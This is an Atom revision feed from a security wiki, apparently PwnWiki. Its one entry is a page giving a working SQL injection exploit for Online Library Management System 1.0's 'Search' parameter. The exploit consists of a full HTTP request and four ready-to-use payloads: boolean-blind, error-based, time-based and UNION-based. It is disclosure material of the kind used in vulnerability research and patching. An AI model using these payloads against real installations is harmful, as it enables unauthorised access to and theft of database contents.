<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=Online_Library_Management_System_1.0_SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E</id>
	<title>Online Library Management System 1.0 SQL注入漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=Online_Library_Management_System_1.0_SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=Online_Library_Management_System_1.0_SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-14T23:17:04Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=Online_Library_Management_System_1.0_SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E&amp;diff=5571&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;&lt;pre&gt; # Exploit Title: Online Library Management System 1.0 - 'Search' SQL Injection # Date: 23-06-2021 # Exploit Author: Berk Can Geyikci # Vendor Homepage: https://www.sourc...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=Online_Library_Management_System_1.0_SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E&amp;diff=5571&amp;oldid=prev"/>
		<updated>2021-06-24T01:09:29Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;&amp;lt;pre&amp;gt; # Exploit Title: Online Library Management System 1.0 - &amp;#039;Search&amp;#039; SQL Injection # Date: 23-06-2021 # Exploit Author: Berk Can Geyikci # Vendor Homepage: https://www.sourc...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;&amp;lt;pre&amp;gt;&lt;br /&gt;
# Exploit Title: Online Library Management System 1.0 - 'Search' SQL Injection&lt;br /&gt;
# Date: 23-06-2021&lt;br /&gt;
# Exploit Author: Berk Can Geyikci&lt;br /&gt;
# Vendor Homepage: https://www.sourcecodester.com/&lt;br /&gt;
# Software Link: https://www.sourcecodester.com/sites/default/files/download/janobe/ols.zip&lt;br /&gt;
# Version: 1.0&lt;br /&gt;
# Tested on: Windows 10 Pro 64 Bit 10.0.19041 + XAMPP V7.3.28&lt;br /&gt;
&lt;br /&gt;
#Vulnerable URL: http://localhost/ols/index.php?q={random string} &lt;br /&gt;
#Search Parameter &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Request:&lt;br /&gt;
&lt;br /&gt;
POST /ols/index.php?q=find HTTP/1.1&lt;br /&gt;
Host: localhost&lt;br /&gt;
Content-Length: 16&lt;br /&gt;
Cache-Control: max-age=0&lt;br /&gt;
Upgrade-Insecure-Requests: 1&lt;br /&gt;
Origin: http://localhost&lt;br /&gt;
Content-Type: application/x-www-form-urlencoded&lt;br /&gt;
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36&lt;br /&gt;
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9&lt;br /&gt;
Referer: http://localhost/ols/index.php?q=find&lt;br /&gt;
Accept-Encoding: gzip, deflate&lt;br /&gt;
Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7&lt;br /&gt;
Cookie: PHPSESSID=msjh9j7ngitv8k79g9or1rov0d&lt;br /&gt;
Connection: close&lt;br /&gt;
&lt;br /&gt;
search=a&amp;amp;Search={INJECT HERE}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
POC 1:&lt;br /&gt;
    Type: boolean-based blind&lt;br /&gt;
    Title: AND boolean-based blind - WHERE or HAVING clause (MySQL comment)&lt;br /&gt;
    Payload: search=AA&amp;amp;Search=') AND 5208=5208#&lt;br /&gt;
    Vector: AND [INFERENCE]#&lt;br /&gt;
&lt;br /&gt;
POC 2:&lt;br /&gt;
	Type: error-based&lt;br /&gt;
    Title: MySQL &amp;gt;= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)&lt;br /&gt;
    Payload: search=aa&amp;amp;Search=') OR (SELECT 5630 FROM(SELECT COUNT(*),CONCAT(0x7162787171,(SELECT (ELT(5630=5630,1))),0x717a766a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- XONS&lt;br /&gt;
    Vector: OR (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)&lt;br /&gt;
&lt;br /&gt;
POC 3:&lt;br /&gt;
	Type: time-based blind&lt;br /&gt;
    Title: MySQL &amp;gt;= 5.0.12 AND time-based blind (query SLEEP)&lt;br /&gt;
    Payload: search=aa&amp;amp;Search=') AND (SELECT 3884 FROM (SELECT(SLEEP(5)))baxK)-- uNHU&lt;br /&gt;
    Vector: AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])&lt;br /&gt;
&lt;br /&gt;
POC 4:&lt;br /&gt;
	Type: UNION query&lt;br /&gt;
    Title: MySQL UNION query (NULL) - 16 columns&lt;br /&gt;
    Payload: search=aa&amp;amp;Search=') UNION ALL SELECT NULL,NULL,CONCAT(0x7162787171,0x7665436f41665177487458444d6c4358416d6a716869586c476d504b67647178695064414f4e444f,0x717a766a71),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#&lt;br /&gt;
    Vector:  UNION ALL SELECT NULL,NULL,[QUERY],NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>